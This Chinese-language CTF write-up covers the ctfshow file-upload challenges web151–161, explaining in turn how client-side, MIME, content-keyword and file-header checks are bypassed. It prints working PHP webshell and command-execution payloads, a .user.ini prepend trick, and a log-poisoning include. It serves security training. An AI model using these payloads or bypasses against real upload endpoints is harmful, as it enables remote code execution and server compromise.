ctfshow 文件上传模块
web151(客户端校验)
右键查看源代码
这是典型的JS验证,即使用客户端校验
我们直接在元素中,修改上传按钮标签中传递的文件后缀参数,改为php
此时再上传一个php一句话木马即可
1 | eval($_POST['R1ck']) |
使用蚁剑连接
得到flag
web152(MIME校验)
本题源码与上一题一致,但是无法直接修改前端代码来绕过
观察到响应数据包中存在Content-Type字段,猜测使用了MIME校验
上传一句话木马后使用burpsuite抓包,修改Content-Type字段的值为image/png
即可
web153(.user.ini)
尝试上一题的MIME校验绕过思路,发现无法绕过
抓包发现本题使用的是nginx服务器
尝试使用.user.ini绕过
上传ini.png
文件,内容如下
1 | auto_prepend_file=hack.png |
抓包后将其名字改为.user.ini
接下来再修改前端,使其接收png文件,将木马上传
web154(过滤<?php
)
本关尝试上传hack.png
时报错,而普通png图片可以成功上传,说明服务端对上传文件的内容有检测
我们使用二分更改一句话木马,判断一下过滤了什么部分
去掉前半部分,发现上传正常
去掉<?php
,上传正常,去掉eval
,上传失败
去掉<?
,上传正常,去掉php
,上传正常
说明过滤了<?php
在PHP中,代码必须被包含在特定的标记(tags)中以指明哪些部分应被解释为PHP代码,下面是5种常用的标记
标准PHP标记
这是最常见的PHP代码标记,也是推荐使用的标记,适用于所有的PHP文件。
1
2
3phpCopy code
// PHP代码短标记
短标记更简洁,但需要在php.ini文件中开启
short_open_tag
配置1
2
3
// PHP代码输出标记(Echo短标记)
在 PHP 中,
<?= ?>
是一个简写形式的echo
语句,它用于输出一段表达式的结果1
"Hello, world!";
这种标记无需
short_open_tag
配置即可使用,因为从PHP 5.4.0起,它已经默认被PHP支持。脚本标记
1
2
3<script language="php">
// PHP代码
</script>这种标记没有额外的配置要求
ASP风格标记
1
2
3<%
echo "Hello, world!";
%>- PHP 5.3:从PHP 5.3开始,这种ASP风格的标记默认被禁用。它们可以通过在php.ini文件中设置
asp_tags
为On
来启用,但这通常不推荐。 - PHP 7.0:在PHP 7.0及更高版本中,支持
<% %>
标记的asp_tags
配置选项被完全移除,这意味着ASP风格的标记不再被任何支持。
- PHP 5.3:从PHP 5.3开始,这种ASP风格的标记默认被禁用。它们可以通过在php.ini文件中设置
本题替换成<?=
即可
web155
本题解法与上一题一致
web156(过滤中括号)
本关使用输出标记时仍然无法上传
用二分法定位过滤部分
去掉后半部分后上传成功
去掉'])?>
后上传失败,去掉['R1ck
后上传成功
发现是中括号[]
被过滤,我们使用大括号{}
代替
一句话木马变为<?=eval($_POST{'R1ck'})?>
web157(过滤中括号、大括号和分号)
二分法发现方括号和大括号和分号都被过滤
尝试直接执行命令而不是获得webshell
将木马文件中内容改为<?=system('tac ../f*')?>
web158
与上一题相同
web159(过滤所有括号与分号)
本题将小括号也过滤了,所以我们无法使用system
等函数
用反引号代替
1 | echo `tac ../f*` |
web160(过滤反引号)
本关将反引号也过滤了,无法进行命令执行
考虑使用文件包含的方法绕过
我们可以将后门代码注入到UA头中,这样包含后门代码的请求头会被记录在日志文件中,从而用include
函数包含日志文件中的后门代码并执行
1 | include"/var/lo"."g/nginx/access.lo"."g" |
使用拼接是由于log关键字也被服务端过滤
web161(文件头检测)
本题在上一题的基础上加上幻术头GIF89a
即可